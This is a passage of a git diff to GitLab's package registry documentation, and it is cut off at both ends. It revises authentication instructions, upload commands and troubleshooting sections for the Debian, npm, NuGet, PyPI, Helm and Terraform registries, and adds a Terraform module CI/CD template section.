"https://gitlab.example.com/api/v4/projects/<Project_id>/registry/repositories/<container_repo_id>/tags?per_page=100&page=${i}" | jq '.[].name' | sed 's:^.\(.*\).$:\1:' >> list_o_tags.out; done ``` diff --git a/doc/user/packages/debian_repository/index.md b/doc/user/packages/debian_repository/index.md index 7db2a341743..7ec20e3d036 100644 --- a/doc/user/packages/debian_repository/index.md +++ b/doc/user/packages/debian_repository/index.md @@ -15,9 +15,6 @@ The Debian package registry for GitLab is under development and isn't ready for limited functionality. This [epic](https://gitlab.com/groups/gitlab-org/-/epics/6057) details the remaining work and timelines to make it production ready. -NOTE: -The Debian registry is not FIPS compliant and is disabled when [FIPS mode](../../../development/fips_compliance.md) is enabled. - Publish Debian packages in your project's Package Registry. Then install the packages whenever you need to use them as a dependency. @@ -65,32 +62,52 @@ Feature.disable(:debian_group_packages) Creating a Debian package is documented [on the Debian Wiki](https://wiki.debian.org/Packaging). -## Authenticate to the Package Registry +## Authenticate to the Debian endpoints + +Authentication methods differs between [distributions APIs](#authenticate-to-the-debian-distributions-apis) +and [package repositories](#authenticate-to-the-debian-package-repositories). -To create a distribution, publish a package, or install a private package, you need one of the -following: +### Authenticate to the Debian distributions APIs -- [Personal access token](../../../api/index.md#personalprojectgroup-access-tokens) +To create, read, update, or delete a distribution, you need one of the following: + +- [Personal access token](../../../api/rest/index.md#personalprojectgroup-access-tokens), + using `--header "PRIVATE-TOKEN: <personal_access_token>"` +- [Deploy token](../../project/deploy_tokens/index.md) + using `--header "Deploy-Token: <deploy_token>"` - [CI/CD job token](../../../ci/jobs/ci_job_token.md) + using `--header "Job-Token: <job_token>"` + +### Authenticate to the Debian Package Repositories + +To publish a package, or install a private package, you need to use basic authentication, +with one of the following: + +- [Personal access token](../../../api/rest/index.md#personalprojectgroup-access-tokens), + using `<username>:<personal_access_token>` - [Deploy token](../../project/deploy_tokens/index.md) + using `<deploy_token_name>:<deploy_token>` +- [CI/CD job token](../../../ci/jobs/ci_job_token.md) + using `gitlab-ci-token:<job_token>` ## Create a Distribution On the project-level, Debian packages are published using *Debian Distributions*. To publish packages on the group level, create a distribution with the same `codename`. -To create a project-level distribution: +To create a project-level distribution using a personal access token: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/debian_distributions?codename=<codename>" +curl --request POST --header "PRIVATE-TOKEN: <personal_access_token>" \ + "https://gitlab.example.com/api/v4/projects/<project_id>/debian_distributions?codename=<codename>" ``` -Example response with `codename=unstable`: +Example response with `codename=sid`: ```json { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": null, "origin": null, "label": null, @@ -123,33 +140,50 @@ Once built, several files are created: - `.buildinfo` file: Used for Reproducible builds (optional) - `.changes` file: Upload metadata, and list of uploaded files (all the above) -To upload these files, you can use `dput-ng >= 1.32` (Debian bullseye): +To upload these files, you can use `dput-ng >= 1.32` (Debian bullseye). +`<username>` and `<password>` are defined +[as above](#authenticate-to-the-debian-package-repositories): ```shell cat <<EOF > dput.cf [gitlab] method = https -fqdn = <username>:<your_access_token>@gitlab.example.com +fqdn = <username>:<password>@gitlab.example.com incoming = /api/v4/projects/<project_id>/packages/debian EOF dput --config=dput.cf --unchecked --no-upload-log gitlab <your_package>.changes ``` +## Directly upload a package + +> Direct upload [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101838) in GitLab 15.9. + +When you don't have access to `.changes` file, you can directly upload a `.deb` by passing +distribution `codename` and target `component` as parameters with +your [credentials](#authenticate-to-the-debian-package-repositories). +For example, to upload to component `main` of distribution `sid` using a personal access token: + +```shell +curl --request PUT --user "<username>:<personal_access_token>" \ + "https://gitlab.example.com/api/v4/projects/<project_id>/packages/debian/?distribution=sid&component=main" \ + --upload-file /path/to/your.deb +``` + ## Install a package To install a package: 1. Configure the repository: - If you are using a private project, add your [credentials](#authenticate-to-the-package-registry) to your apt configuration: + If you are using a private project, add your [credentials](#authenticate-to-the-debian-package-repositories) to your apt configuration: ```shell - echo 'machine gitlab.example.com login <username> password <your_access_token>' \ + echo 'machine gitlab.example.com login <username> password <password>' \ | sudo tee /etc/apt/auth.conf.d/gitlab_project.conf ``` - Download your distribution key: + Download your distribution key using your [credentials](#authenticate-to-the-debian-distributions-apis): ```shell sudo mkdir -p /usr/local/share/keyrings @@ -182,14 +216,14 @@ To download a source package: 1. Configure the repository: - If you are using a private project, add your [credentials](#authenticate-to-the-package-registry) to your apt configuration: + If you are using a private project, add your [credentials](#authenticate-to-the-debian-package-repositories) to your apt configuration: ```shell - echo 'machine gitlab.example.com login <username> password <your_access_token>' \ + echo 'machine gitlab.example.com login <username> password <password>' \ | sudo tee /etc/apt/auth.conf.d/gitlab_project.conf ``` - Download your distribution key: + Download your distribution key using your [credentials](#authenticate-to-the-debian-distributions-apis): ```shell sudo mkdir -p /usr/local/share/keyrings diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md index a1a9d2a4915..8dc3c98795b 100644 --- a/doc/user/packages/dependency_proxy/index.md +++ b/doc/user/packages/dependency_proxy/index.md @@ -322,7 +322,7 @@ services: ### Issues when authenticating to the Dependency Proxy from CI/CD jobs -GitLab Runner will automatically authenticate to the Dependency Proxy. However, the underlying Docker engine is still subject to its [authorization resolving process](https://gitlab.com/gitlab-org/gitlab-runner/-/blob/main/docs/configuration/advanced-configuration.md#precedence-of-docker-authorization-resolving). +GitLab Runner authenticates automatically to the Dependency Proxy. However, the underlying Docker engine is still subject to its [authorization resolving process](https://gitlab.com/gitlab-org/gitlab-runner/-/blob/main/docs/configuration/advanced-configuration.md#precedence-of-docker-authorization-resolving). Misconfigurations in the authentication mechanism may cause `HTTP Basic: Access denied` and `403: Access forbidden` errors. diff --git a/doc/user/packages/generic_packages/index.md b/doc/user/packages/generic_packages/index.md index 9b49f946984..932de0bcde6 100644 --- a/doc/user/packages/generic_packages/index.md +++ b/doc/user/packages/generic_packages/index.md @@ -13,13 +13,13 @@ Publish generic files, like release binaries, in your project's Package Registry ## Authenticate to the Package Registry -To authenticate to the Package Registry, you need either a [personal access token](../../../api/index.md#personalprojectgroup-access-tokens), +To authenticate to the Package Registry, you need either a [personal access token](../../../api/rest/index.md#personalprojectgroup-access-tokens), [CI/CD job token](../../../ci/jobs/ci_job_token.md), or [deploy token](../../project/deploy_tokens/index.md). In addition to the standard API authentication mechanisms, the generic package API allows authentication with HTTP Basic authentication for use with tools that do not support the other available mechanisms. The `user-id` is not checked and -may be any value, and the `password` must be either a [personal access token](../../../api/index.md#personalprojectgroup-access-tokens), +may be any value, and the `password` must be either a [personal access token](../../../api/rest/index.md#personalprojectgroup-access-tokens), a [CI/CD job token](../../../ci/jobs/ci_job_token.md), or a [deploy token](../../project/deploy_tokens/index.md). ## Publish a package file @@ -28,7 +28,7 @@ When you publish a package file, if the package does not exist, it is created. Prerequisites: -- You must [authenticate with the API](../../../api/index.md#authentication). +- You must [authenticate with the API](../../../api/rest/index.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope. If authenticating with a personal access token or project access token, it must be configured with the `api` scope. @@ -44,7 +44,7 @@ PUT /projects/:id/packages/generic/:package_name/:package_version/:file_name?sta | Attribute | Type | Required | Description | | -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/rest/index.md#namespaced-path-encoding). | | `package_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). | `package_version` | string | yes | The package version. The following regex validates this: `\A(\.?[\w\+-]+\.?)+\z`. You can test your version strings on [Rubular](https://rubular.com/r/aNCV0wG5K14uq8). | `file_name` | string | yes | The filename. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). @@ -139,7 +139,7 @@ If multiple packages have the same name, version, and filename, then the most re Prerequisites: -- You need to [authenticate with the API](../../../api/index.md#authentication). If authenticating with a deploy token, it must be configured with the `read_package_registry` and/or `write_package_registry` scope. +- You need to [authenticate with the API](../../../api/rest/index.md#authentication). If authenticating with a deploy token, it must be configured with the `read_package_registry` and/or `write_package_registry` scope. ```plaintext GET /projects/:id/packages/generic/:package_name/:package_version/:file_name @@ -147,7 +147,7 @@ GET /projects/:id/packages/generic/:package_name/:package_version/:file_name | Attribute | Type | Required | Description | | -------------------| --------------- | ---------| ------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/rest/index.md#namespaced-path-encoding). | | `package_name` | string | yes | The package name. | | `package_version` | string | yes | The package version. | | `file_name` | string | yes | The filename. | @@ -215,7 +215,7 @@ It also demonstrates how to manage a semantic version for the generic package: s ### Internal Server error on large file uploads to S3 -S3-compatible object storage [limits the size of a single PUT request to 5GB](https://docs.aws.amazon.com/AmazonS3/latest/userguide/upload-objects.html). If the `aws_signature_version` is set to `2` in the [object storage connection settings](../../../administration/object_storage.md), attempting to publish a package file larger than the 5GB limit can result in a `HTTP 500: Internal Server Error` response. +S3-compatible object storage [limits the size of a single PUT request to 5 GB](https://docs.aws.amazon.com/AmazonS3/latest/userguide/upload-objects.html). If the `aws_signature_version` is set to `2` in the [object storage connection settings](../../../administration/object_storage.md), attempting to publish a package file larger than the 5 GB limit can result in a `HTTP 500: Internal Server Error` response. If you are receiving `HTTP 500: Internal Server Error` responses when publishing large files to S3, set the `aws_signature_version` to `4`: diff --git a/doc/user/packages/go_proxy/index.md b/doc/user/packages/go_proxy/index.md index a147c3656b7..1a089cd82be 100644 --- a/doc/user/packages/go_proxy/index.md +++ b/doc/user/packages/go_proxy/index.md @@ -107,8 +107,8 @@ Open your [`~/.netrc`](https://everything.curl.dev/usingcurl/netrc) file and add the following text. Replace the variables in `< >` with your values. WARNING: -If you use an environment variable called `NETRC`, Go will use its value -as a filename and ignore `~/.netrc`. If you intend to use `~/.netrc` in +If you use an environment variable called `NETRC`, Go uses its value +as a filename and ignores `~/.netrc`. If you intend to use `~/.netrc` in the GitLab CI **do not use `NETRC` as an environment variable name**. ```plaintext diff --git a/doc/user/packages/harbor_container_registry/index.md b/doc/user/packages/harbor_container_registry/index.md index f159522d77d..1ad5e2c2f05 100644 --- a/doc/user/packages/harbor_container_registry/index.md +++ b/doc/user/packages/harbor_container_registry/index.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Harbor Registry **(FREE)** -You can integrate the [Harbor container registry](../../../user/project/integrations/harbor.md#harbor-container-registry-integration) into GitLab and use Harbor as the container registry for your GitLab project to store images. +You can integrate the [Harbor container registry](../../../user/project/integrations/harbor.md) into GitLab and use Harbor as the container registry for your GitLab project to store images. ## View the Harbor Registry diff --git a/doc/user/packages/helm_repository/index.md b/doc/user/packages/helm_repository/index.md index 785ef344c8e..58c8e17f48b 100644 --- a/doc/user/packages/helm_repository/index.md +++ b/doc/user/packages/helm_repository/index.md @@ -30,7 +30,7 @@ Read more in the Helm documentation about these topics: To authenticate to the Helm repository, you need either: -- A [personal access token](../../../api/index.md#personalprojectgroup-access-tokens) with the scope set to `api`. +- A [personal access token](../../../api/rest/index.md#personalprojectgroup-access-tokens) with the scope set to `api`. - A [deploy token](../../project/deploy_tokens/index.md) with the scope set to `read_package_registry`, `write_package_registry`, or both. - A [CI/CD job token](../../../ci/jobs/ci_job_token.md). @@ -54,7 +54,7 @@ Once built, a chart can be uploaded to the desired channel with `curl` or `helm - `<username>`: the GitLab username or the deploy token username. - `<access_token>`: the personal access token or the deploy token. - `<project_id>`: the project ID (like `42`) or the - [URL-encoded](../../../api/index.md#namespaced-path-encoding) path of the project (like `group%2Fproject`). + [URL-encoded](../../../api/rest/index.md#namespaced-path-encoding) path of the project (like `group%2Fproject`). - `<channel>`: the name of the channel (like `stable`). - With the [`helm cm-push`](https://github.com/chartmuseum/helm-push/#readme) plugin: diff --git a/doc/user/packages/infrastructure_registry/index.md b/doc/user/packages/infrastructure_registry/index.md index ac31b491a0e..d06c5e7fb1e 100644 --- a/doc/user/packages/infrastructure_registry/index.md +++ b/doc/user/packages/infrastructure_registry/index.md @@ -34,9 +34,8 @@ authenticate with the [`CI_JOB_TOKEN` predefined variable](../../../ci/variables CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). -Learn more about using CI/CD to build: - -- [Terraform modules](../terraform_module_registry/index.md#publish-a-terraform-module-by-using-cicd) +For more information about using CI/CD to build Terraform modules, +see [Publish a Terraform module by using CI/CD](../terraform_module_registry/index.md#publish-a-terraform-module-by-using-cicd). If you use CI/CD to build a package, you can find extended activity information when you view the package details: diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md index 2d1efd024a0..1899cdc213f 100644 --- a/doc/user/packages/maven_repository/index.md +++ b/doc/user/packages/maven_repository/index.md @@ -232,7 +232,7 @@ to [Maven Central](https://search.maven.org/). When the feature flag is enabled, administrators can disable this behavior in the [Continuous Integration settings](../../admin_area/settings/continuous_integration.md). -There are many ways to configure your Maven project so that it will request packages +There are many ways to configure your Maven project so that it requests packages in Maven Central from GitLab. Maven repositories are queried in a [specific order](https://maven.apache.org/guides/mini/guide-multiple-repositories.html#repository-order). By default, maven-central is usually checked first through the diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md index c62999100c1..11e3d0e5131 100644 --- a/doc/user/packages/npm_registry/index.md +++ b/doc/user/packages/npm_registry/index.md @@ -25,7 +25,7 @@ Create a token and save it to use later in the process. ### Naming convention -Depending on how the package will be installed, you may need to adhere to the naming convention. +Depending on how the package is installed, you may need to adhere to the naming convention. You can use one of two API endpoints to install packages: @@ -36,7 +36,7 @@ If you plan to install a package through the [project level](#install-from-the-p If you plan to install a package through the [instance level](#install-from-the-instance-level), then you must name your package with a [scope](https://docs.npmjs.com/misc/scope/). Scoped packages begin with a `@` have the format of `@owner/package-name`. You can set up the scope for your package in the `.npmrc` file and by using the `publishConfig` option in the `package.json`. -- The value used for the `@scope` is the root of the project that will host the packages and not the root +- The value used for the `@scope` is the root of the project that is hosting the packages and not the root of the project with the source code of the package itself. The scope should be lowercase. - The package name can be anything you want @@ -64,7 +64,7 @@ Create or edit the `.npmrc` file in the same directory as your `package.json`. I - Replace `@scope` with the [root level group](#naming-convention) of the project you're publishing to the package to. - Replace `your_domain_name` with your domain name, for example, `gitlab.com`. - Replace `your_project_id` is your project ID, found on the project's home page. -- `"${NPM_TOKEN}"` will be associated with the token you created later in the process. +- `"${NPM_TOKEN}"` is associated with the token you created later in the process. WARNING: Never hardcode GitLab tokens (or any tokens) directly in `.npmrc` files or any other files that can @@ -125,11 +125,11 @@ You can install a package from a GitLab project or instance: ### Install from the instance level WARNING: -In order to install a package from the instance level, the package must have been published following the scoped [naming convention](#naming-convention). +To install a package from the instance level, the package must have been published following the scoped [naming convention](#naming-convention). 1. Authenticate to the Package Registry - If you would like to install a package from a private project, you will need to authenticate to the Package Registry. Skip this step if the project is not private. + If you would like to install a package from a private project, you would have to authenticate to the Package Registry. Skip this step if the project is not private. ```shell npm config set -- //your_domain_name/api/v4/packages/npm/:_authToken=your_token @@ -158,7 +158,7 @@ In order to install a package from the instance level, the package must have bee 1. Authenticate to the Package Registry - If you would like to install a package from a private project, you will need to authenticate to the Package Registry. Skip this step if the project is not private. + If you would like to install a package from a private project, you would have to authenticate to the Package Registry. Skip this step if the project is not private. ```shell npm config set -- //your_domain_name/api/v4/projects/your_project_id/packages/npm/:_authToken=your_token @@ -264,6 +264,22 @@ The GitLab npm repository supports the following commands for the npm CLI (`npm` ## Troubleshooting +### `404 Not Found` errors are happening on `npm install` or `yarn` + +Using `CI_JOB_TOKEN` to install npm packages with dependencies in another project gives you 404 Not Found errors. A fix for this problem is proposed in [issue 352962](https://gitlab.com/gitlab-org/gitlab/-/issues/352962). + +As a workaround, you can: + +1. Create a [personal access token](../../profile/personal_access_tokens.md). +1. Authenticate at both the instance level and project level for each package: + + ```ini + @foo:registry=https://gitlab.example.com/api/v4/packages/npm/ + //gitlab.example.com/api/v4/packages/npm/:_authToken=${MY_TOKEN} + //gitlab.example.com/api/v4/projects/<your_project_id_a>/packages/npm/:_authToken=${MY_TOKEN} + //gitlab.example.com/api/v4/projects/<your_project_id_b>/packages/npm/:_authToken=${MY_TOKEN} + ``` + ### `npm publish` targets default npm registry (`registry.npmjs.org`) Ensure that your package scope is set consistently in your `package.json` and `.npmrc` files. @@ -317,7 +333,7 @@ Make sure that your `package.json` file does not exceed `20,000` characters. ### `npm publish` returns `npm ERR! 500 Internal Server Error - PUT` -This is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/238950) in GitLab 13.3.x and later. The error in the logs will appear as: +This is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/238950) in GitLab 13.3.x and later. The error in the logs appears as: ```plaintext >NoMethodError - undefined method `preferred_language' for #<Rack::Response diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md index 540db463f0a..6710c147c87 100644 --- a/doc/user/packages/nuget_repository/index.md +++ b/doc/user/packages/nuget_repository/index.md @@ -283,7 +283,7 @@ To use the [group-level](#use-the-gitlab-endpoint-for-nuget-packages) Package Re Prerequisite: -- Set up the [source](#https://docs.gitlab.com/ee/user/packages/nuget_repository/#add-the-package-registry-as-a-source-for-nuget-packages) with a [project-level endpoint](#use-the-gitlab-endpoint-for-nuget-packages). +- Set up the [source](#add-the-package-registry-as-a-source-for-nuget-packages) with a [project-level endpoint](#use-the-gitlab-endpoint-for-nuget-packages). When publishing packages: @@ -461,9 +461,15 @@ for more details on what other GitLab CI patterns are demonstrated. ## Troubleshooting +### Clear NuGet cache + To improve performance, NuGet caches files related to a package. If you encounter issues, clear the cache with this command: ```shell nuget locals all -clear ``` + +### `Error publishing` or `Invalid Package: Failed metadata extraction error` messages when trying to publish NuGet packages in a Docker-based GitLab installation + +Webhook requests to local network addresses are blocked to prevent the exploitation of internal web services. If you get `Error publishing` or `Invalid Package` messages when you try to publish NuGet packages, change your network settings to [allow webhook and service requests to the local network](../../../security/webhooks.md#allow-webhook-and-service-requests-to-local-network). diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md index ab5d652b731..cd60a229479 100644 --- a/doc/user/packages/package_registry/index.md +++ b/doc/user/packages/package_registry/index.md @@ -43,6 +43,11 @@ For information on how to create and upload a package, view the GitLab documenta ## Authenticate with the registry +<!--- start_remove The following content will be removed on remove_date: '2023-11-22' --> +WARNING: +[External authorization](../../admin_area/settings/external_authorization.md) will be enabled by default in GitLab 16.0. External authorization prevents personal access tokens and deploy tokens from accessing container and package registries and affects all users who use these tokens to access the registries. You can disable external authorization if you want to use personal access tokens and deploy tokens with the container or package registries. +<!--- end_remove --> + Authentication depends on the package manager being used. For more information, see the docs on the specific package format you want to use. @@ -59,12 +64,11 @@ For most package types, the following credential types are valid: - [Job token](../../../ci/jobs/ci_job_token.md): allows access to packages in the project running the job for the users running the pipeline. Access to other external projects can be configured. - - If your organization uses two factor authentication (2FA), you must use a personal access token with the scope set to `api`. - If you are publishing a package via CI/CD pipelines, you must use a CI job token. NOTE: -If you have not activated the "Packages" feature for your project at **Settings > General > Project features**, you will receive a 403 Forbidden response. +If you have not activated the "Package registry" feature for your project at **Settings > General > Visibility, project features, permissions**, you receive a 403 Forbidden response. Accessing package registry via deploy token is not available when external authorization is enabled. ## Use GitLab CI/CD to build packages @@ -75,7 +79,7 @@ authenticate with GitLab by using the `CI_JOB_TOKEN`. CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). -Learn more about using the GitLab Package Registry with CI/CD: +For more information about using the GitLab Package Registry with CI/CD, see: - [Composer](../composer_repository/index.md#publish-a-composer-package-by-using-cicd) - [Conan](../conan_repository/index.md#publish-a-conan-package-by-using-cicd) @@ -151,7 +155,7 @@ Several known issues exist when you allow anyone to pull from the Package Regist - Project-level endpoints are supported. Group-level and instance-level endpoints are not supported. Support for group-level endpoints is proposed in [issue 383537](https://gitlab.com/gitlab-org/gitlab/-/issues/383537). - It does not work with the [Composer](../composer_repository/index.md#install-a-composer-package), because Composer only has a group endpoint. -- It will work with Conan, but using [`conan search`](../conan_repository/index.md#search-for-conan-packages-in-the-package-registry) does not work. +- It works with Conan, but using [`conan search`](../conan_repository/index.md#search-for-conan-packages-in-the-package-registry) does not work. ## Accepting contributions diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md index 0e2fc7ca7da..e5b7f06f6ca 100644 --- a/doc/user/packages/pypi_repository/index.md +++ b/doc/user/packages/pypi_repository/index.md @@ -50,7 +50,7 @@ password = <your_personal_access_token> ``` The `<project_id>` is either the project's -[URL-encoded](../../../api/index.md#namespaced-path-encoding) +[URL-encoded](../../../api/rest/index.md#namespaced-path-encoding) path (for example, `group%2Fproject`), or the project's ID (for example `42`). ### Authenticate with a deploy token @@ -69,7 +69,7 @@ password = <deploy token> ``` The `<project_id>` is either the project's -[URL-encoded](../../../api/index.md#namespaced-path-encoding) +[URL-encoded](../../../api/rest/index.md#namespaced-path-encoding) path (for example, `group%2Fproject`), or the project's ID (for example `42`). ### Authenticate with a CI job token @@ -220,7 +220,7 @@ pip install --index-url https://<personal_access_token_name>:<personal_access_to - `<package_name>` is the package name. - `<personal_access_token_name>` is a personal access token name with the `read_api` scope. - `<personal_access_token>` is a personal access token with the `read_api` scope. -- `<project_id>` is either the project's [URL-encoded](../../../api/index.md#namespaced-path-encoding) +- `<project_id>` is either the project's [URL-encoded](../../../api/rest/index.md#namespaced-path-encoding) path (for example, `group%2Fproject`), or the project's ID (for example `42`). In these commands, you can use `--extra-index-url` instead of `--index-url`. However, using @@ -311,7 +311,7 @@ password <your_personal_token> ## Troubleshooting -To improve performance, the pip command caches files related to a package. Note that pip doesn't remove data by +To improve performance, the pip command caches files related to a package. Pip doesn't remove data by itself. The cache grows as new packages are installed. If you encounter issues, clear the cache with this command: @@ -324,7 +324,7 @@ pip cache purge You can define multiple `index-url` and `extra-index-url` parameters. If you use the same domain name (such as `gitlab.example.com`) multiple times with different authentication -tokens, `pip` may not be able to find your packages. This problem is due to how `pip` +tokens, `pip` may not be able to find your packages. This problem is due to how `pip` [registers and stores your tokens](https://github.com/pypa/pip/pull/10904#issuecomment-1126690115) during commands executions. To workaround this issue, you can use a [group deploy token](../../project/deploy_tokens/index.md) with the diff --git a/doc/user/packages/rubygems_registry/index.md b/doc/user/packages/rubygems_registry/index.md index 7710ad3db01..ae444880b6b 100644 --- a/doc/user/packages/rubygems_registry/index.md +++ b/doc/user/packages/rubygems_registry/index.md @@ -117,7 +117,7 @@ To push your gem, run a command like this one: gem push my_gem-0.0.1.gem --host <host> ``` -Note that `<host>` is the URL you used when setting up authentication. For example: +`<host>` is the URL you used when setting up authentication. For example: ```shell gem push my_gem-0.0.1.gem --host https://gitlab.example.com/api/v4/projects/1/packages/rubygems diff --git a/doc/user/packages/terraform_module_registry/index.md b/doc/user/packages/terraform_module_registry/index.md index 9b09d846034..66a42f398b0 100644 --- a/doc/user/packages/terraform_module_registry/index.md +++ b/doc/user/packages/terraform_module_registry/index.md @@ -15,7 +15,7 @@ as a Terraform module registry. To authenticate to the Terraform module registry, you need either: -- A [personal access token](../../../api/index.md#personalprojectgroup-access-tokens) with at least `read_api` rights. +- A [personal access token](../../../api/rest/index.md#personalprojectgroup-access-tokens) with at least `read_api` rights. - A [CI/CD job token](../../../ci/jobs/ci_job_token.md). ## Publish a Terraform Module @@ -26,7 +26,7 @@ Prerequisites: - The package name and version [must be unique in the top-level namespace](../infrastructure_registry/index.md#how-module-resolution-works). - Your project and group names must not include a dot (`.`). For example, `source = "gitlab.example.com/my.group/project.name"`. -- You must [authenticate with the API](../../../api/index.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope. +- You must [authenticate with the API](../../../api/rest/index.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope. - The name of a module [must be unique within the scope of its group](../infrastructure_registry/index.md#how-module-resolution-works), otherwise an [error occurs](#troubleshooting). @@ -36,9 +36,9 @@ PUT /projects/:id/packages/terraform/modules/:module-name/:module-system/:module | Attribute | Type | Required | Description | | -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/index.md#namespaced-path-encoding). | -| `module-name` | string | yes | The package name. **Supported syntax**: One to 64 ASCII characters, including lowercase letters (a-z), digits (0-9), and hyphens (`-`). -| `module-system` | string | yes | The package system. **Supported syntax**: One to 64 ASCII characters, including lowercase letters (a-z), digits (0-9), and hyphens (`-`). More information can be found in the [Terraform Module Registry Protocol documentation](https://www.terraform.io/internals/module-registry-protocol). +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/rest/index.md#namespaced-path-encoding). | +| `module-name` | string | yes | The package name. **Supported syntax**: One to 64 ASCII characters, including lowercase letters (a-z) and digits (0-9). The package name can't exceed 64 characters. +| `module-system` | string | yes | The package system. **Supported syntax**: One to 64 ASCII characters, including lowercase letters (a-z) and digits (0-9). The package system can't exceed 64 characters. More information can be found in the [Terraform Module Registry Protocol documentation](https://www.terraform.io/internals/module-registry-protocol). | `module-version` | string | yes | The package version. It must be valid according to the [Semantic Versioning Specification](https://semver.org/). Provide the file content in the request body. @@ -83,7 +83,7 @@ Example response: Prerequisites: -- You need to [authenticate with the API](../../../api/index.md#authentication). If authenticating with a personal access token, it must be configured with the `read_api` scope. +- You need to [authenticate with the API](../../../api/rest/index.md#authentication). If authenticating with a personal access token, it must be configured with the `read_api` scope. Authentication tokens (Job Token or Personal Access Token) can be provided for `terraform` in your `~/.terraformrc` file: @@ -107,6 +107,38 @@ Where `<namespace>` is the [namespace](../../../user/namespace/index.md) of the ## Publish a Terraform module by using CI/CD +> CI/CD template [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110493) in GitLab 15.9. + +### Use a CI/CD template (recommended) + +You can use the [`Terraform-Module.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform-Module.gitlab-ci.yml) +or the advanced [`Terraform/Module-Base.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Module-Base.gitlab-ci.yml) +CI/CD template to publish a Terraform module to the GitLab Terraform Registry: + +```yaml +include: + template: Terraform-Module.gitlab-ci.yml +``` + +The pipeline contains the following jobs: + +- `fmt` - Validate the formatting of the Terraform module. +- `kics-iac-sast` - Test the Terraform module for security issues. +- `deploy` - For tag pipelines only. Deploy the Terraform module to the GitLab Terraform Registry. + +#### Pipeline variables + +You can configure the pipeline with the following variables: + +| Variable | Default | Description | +|----------------------------|----------------------|-------------------------------------------------------------------------------------------------| +| `TERRAFORM_MODULE_DIR` | `${CI_PROJECT_DIR}` | The relative path to the root directory of the Terraform project. | +| `TERRAFORM_MODULE_NAME` | `${CI_PROJECT_NAME}` | The name of your Terraform module. Must not contain any spaces or underscores. | +| `TERRAFORM_MODULE_SYSTEM` | `local` | The system or provider of your Terraform module targets. For example, `local`, `aws`, `google`. | +| `TERRAFORM_MODULE_VERSION` | `${CI_COMMIT_TAG}` | The Terraform module version. You should follow the semantic versioning specification. | + +### Deploy manually via CI/CD + To work with Terraform modules in [GitLab CI/CD](../../../ci/index.md), you can use `CI_JOB_TOKEN` in place of the personal access token in your commands. @@ -114,21 +146,21 @@ For example, this job uploads a new module for the `local` [system provider](htt ```yaml stages: - - upload + - deploy upload: - stage: upload + stage: deploy image: curlimages/curl:latest variables: - TERRAFORM_MODULE_DIR: ${CI_PROJECT_DIR} # The path to your Terraform module - TERRAFORM_MODULE_NAME: ${CI_PROJECT_NAME} # The name of your Terraform module - TERRAFORM_MODULE_SYSTEM: local # The system or provider your Terraform module targets (ex. local, aws, google) - TERRAFORM_MODULE_VERSION: ${CI_COMMIT_TAG} # Tag commits with SemVer for the version of your Terraform module to be published + TERRAFORM_MODULE_DIR: ${CI_PROJECT_DIR} # The relative path to the root directory of the Terraform project. + TERRAFORM_MODULE_NAME: ${CI_PROJECT_NAME} # The name of your Terraform module, must not have any spaces or underscores (will be translated to hyphens). + TERRAFORM_MODULE_SYSTEM: local # The system or provider your Terraform module targets (ex. local, aws, google). + TERRAFORM_MODULE_VERSION: ${CI_COMMIT_TAG} # The version - it's recommended to follow SemVer for Terraform Module Versioning. script: - TERRAFORM_MODULE_NAME=$(echo "${TERRAFORM_MODULE_NAME}" | tr " _" -) # module-name must not have spaces or underscores, so translate them to hyphens - - tar -vczf ${TERRAFORM_MODULE_NAME}-${TERRAFORM_MODULE_SYSTEM}-${TERRAFORM_MODULE_VERSION}.tgz -C ${TERRAFORM_MODULE_DIR} --exclude=./.git . + - tar -vczf /tmp/${TERRAFORM_MODULE_NAME}-${TERRAFORM_MODULE_SYSTEM}-${TERRAFORM_MODULE_VERSION}.tgz -C ${TERRAFORM_MODULE_DIR} --exclude=./.git . - 'curl --fail-with-body --location --header "JOB-TOKEN: ${CI_JOB_TOKEN}" - --upload-file ${TERRAFORM_MODULE_NAME}-${TERRAFORM_MODULE_SYSTEM}-${TERRAFORM_MODULE_VERSION}.tgz + --upload-file 